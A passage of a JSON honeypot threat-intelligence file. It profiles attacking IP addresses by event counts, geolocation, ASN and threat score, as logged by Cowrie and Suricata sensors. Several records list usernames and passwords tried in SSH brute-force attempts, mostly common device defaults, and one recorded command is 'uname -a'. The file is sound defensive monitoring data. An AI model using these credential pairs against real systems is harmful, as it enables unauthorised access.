      "last_seen": "2026-05-31T04:00:44.728Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support",
        "telecomadmin",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "Q1w2e3r4",
        "admintelecom",
        "support",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:55:40.955000+00:00",
        "last_seen_30d": "2026-05-31T04:01:46.261000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 15
      }
    },
    "125.44.244.65": {
      "attack_count": 24,
      "first_seen": "2026-05-06T04:17:58.097Z",
      "last_seen": "2026-05-06T04:20:33.514Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:17:58.097000+00:00",
        "last_seen_30d": "2026-05-06T04:21:39.431000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "14.161.29.98": {
      "attack_count": 24,
      "first_seen": "2026-05-08T13:27:40.421Z",
      "last_seen": "2026-05-31T07:41:54.500Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:27:40.421000+00:00",
        "last_seen_30d": "2026-05-31T07:42:56.804000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "176.123.2.139": {
      "attack_count": 18,
      "first_seen": "2026-05-08T14:38:53.874Z",
      "last_seen": "2026-05-10T05:51:46.283Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:38:53.874000+00:00",
        "last_seen_30d": "2026-05-10T05:52:52.106000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "112.198.239.194": {
      "attack_count": 16,
      "first_seen": "2026-05-19T03:28:01.092Z",
      "last_seen": "2026-05-20T00:39:00.116Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:28:01.092000+00:00",
        "last_seen_30d": "2026-05-20T00:40:06.765000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "116.97.105.149": {
      "attack_count": 16,
      "first_seen": "2026-05-03T19:21:40.157Z",
      "last_seen": "2026-05-03T19:31:56.623Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:21:40.157000+00:00",
        "last_seen_30d": "2026-05-03T19:33:03.936000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 16
      }
    },
    "65.24.54.100": {
      "attack_count": 16,
      "first_seen": "2026-05-26T01:34:03.522Z",
      "last_seen": "2026-05-26T01:48:12.884Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sunbury",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T01:34:03.522000+00:00",
        "last_seen_30d": "2026-05-26T01:49:22.372000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "185.217.126.16": {
      "attack_count": 13,
      "first_seen": "2026-05-24T13:15:07.980Z",
      "last_seen": "2026-05-24T13:50:02.712Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Admin@123",
        "Kelltech2023."
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:15:07.980000+00:00",
        "last_seen_30d": "2026-05-24T13:51:09.573000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "185.255.100.234": {
      "attack_count": 12,
      "first_seen": "2026-05-05T01:00:21.096Z",
      "last_seen": "2026-05-10T13:59:32.392Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:00:21.096000+00:00",
        "last_seen_30d": "2026-05-10T14:00:36.913000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "184.18.237.70": {
      "attack_count": 10,
      "first_seen": "2026-05-05T02:18:13.797Z",
      "last_seen": "2026-05-05T02:26:22.420Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Terre Haute",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:52:44.117000+00:00",
        "last_seen_30d": "2026-05-05T02:27:27.410000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "201.238.3.141": {
      "attack_count": 10,
      "first_seen": "2026-05-20T04:46:44.772Z",
      "last_seen": "2026-05-20T06:01:35.905Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:46:44.772000+00:00",
        "last_seen_30d": "2026-05-20T06:02:42.962000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "35.187.97.163": {
      "attack_count": 10,
      "first_seen": "2026-05-24T02:41:51.253Z",
      "last_seen": "2026-05-24T02:42:30.729Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:41:51.253000+00:00",
        "last_seen_30d": "2026-05-24T02:43:32.879000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "124.236.108.172": {
      "attack_count": 9,
      "first_seen": "2026-05-13T21:58:26.722Z",
      "last_seen": "2026-05-13T21:58:38.772Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 134760,
      "as_org": "Shijiazhuang IDC network, CHINANET Hebei province",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T21:58:20+00:00",
        "last_seen_30d": "2026-05-13T21:59:54.670000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 30,
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "14.18.114.170": {
      "attack_count": 9,
      "first_seen": "2026-05-22T19:39:45.335Z",
      "last_seen": "2026-05-22T19:42:04.135Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T13:59:52+00:00",
        "last_seen_30d": "2026-05-22T19:52:35.940000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "156.245.207.80": {
      "attack_count": 8,
      "first_seen": "2026-05-18T13:07:36.388Z",
      "last_seen": "2026-05-18T13:10:14.865Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 54801,
      "as_org": "Zillion Network Inc.",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T11:55:16.424000+00:00",
        "last_seen_30d": "2026-05-23T06:54:57.030000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 8,
        "Honeytrap": 1
      }
    },
    "117.50.182.94": {
      "attack_count": 6,
      "first_seen": "2026-05-19T12:26:10.325Z",
      "last_seen": "2026-05-19T12:28:11.972Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T21:42:59+00:00",
        "last_seen_30d": "2026-05-19T12:38:59.685000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "154.16.177.2": {
      "attack_count": 6,
      "first_seen": "2026-05-14T05:28:04.038Z",
      "last_seen": "2026-05-14T05:28:11.478Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 60602,
      "as_org": "Inovare-Prim SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:28:04.038000+00:00",
        "last_seen_30d": "2026-05-14T05:29:12.810000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "164.90.134.74": {
      "attack_count": 6,
      "first_seen": "2026-05-15T16:01:15.385Z",
      "last_seen": "2026-05-15T19:53:20.785Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T14:42:47.819000+00:00",
        "last_seen_30d": "2026-05-15T23:55:44.137000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130,
        "Cowrie": 6
      }
    },
    "177.222.113.53": {
      "attack_count": 6,
      "first_seen": "2026-05-12T03:32:11.895Z",
      "last_seen": "2026-05-12T03:36:19.106Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 27882,
      "as_org": "Telefonica Celular de Bolivia S.A.",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:32:11.895000+00:00",
        "last_seen_30d": "2026-05-12T03:37:21.939000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "185.247.137.155": {
      "attack_count": 6,
      "first_seen": "2026-05-25T05:36:55.510Z",
      "last_seen": "2026-05-25T05:36:58.977Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T05:36:55.510000+00:00",
        "last_seen_30d": "2026-05-25T05:38:05.019000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "186.226.56.9": {
      "attack_count": 6,
      "first_seen": "2026-05-14T00:47:46.056Z",
      "last_seen": "2026-05-14T00:47:52.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:47:46.056000+00:00",
        "last_seen_30d": "2026-05-14T00:48:57.220000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "212.18.115.58": {
      "attack_count": 6,
      "first_seen": "2026-05-10T07:30:04.660Z",
      "last_seen": "2026-05-10T07:30:12.601Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": null,
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:30:04.660000+00:00",
        "last_seen_30d": "2026-05-10T07:31:14.300000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.23.115.214": {
      "attack_count": 6,
      "first_seen": "2026-05-06T13:08:16.504Z",
      "last_seen": "2026-05-24T01:08:30.213Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Vancouver",
      "asn": 397778,
      "as_org": "Beanfield Technologies Inc.",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T13:08:16.504000+00:00",
        "last_seen_30d": "2026-05-24T01:09:36.489000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "82.197.64.188": {
      "attack_count": 6,
      "first_seen": "2026-05-08T07:14:18.382Z",
      "last_seen": "2026-05-08T07:14:20.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orangeburg",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:14:18.382000+00:00",
        "last_seen_30d": "2026-05-08T07:15:26.538000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "185.220.101.109": {
      "attack_count": 5,
      "first_seen": "2026-05-25T10:32:33.071Z",
      "last_seen": "2026-05-25T10:32:43.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "sysop"
      ],
      "passwords_attempted": [
        "Gjuhfybxybr@1985"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:32:33.071000+00:00",
        "last_seen_30d": "2026-05-25T10:33:51.404000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "192.42.116.99": {
      "attack_count": 5,
      "first_seen": "2026-05-22T01:01:47.934Z",
      "last_seen": "2026-05-22T01:01:59.373Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "sangoma"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:01:47.934000+00:00",
        "last_seen_30d": "2026-05-22T01:03:08.397000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "27.31.108.125": {
      "attack_count": 4,
      "first_seen": "2026-05-22T21:49:44.029Z",
      "last_seen": "2026-05-22T21:49:59.724Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
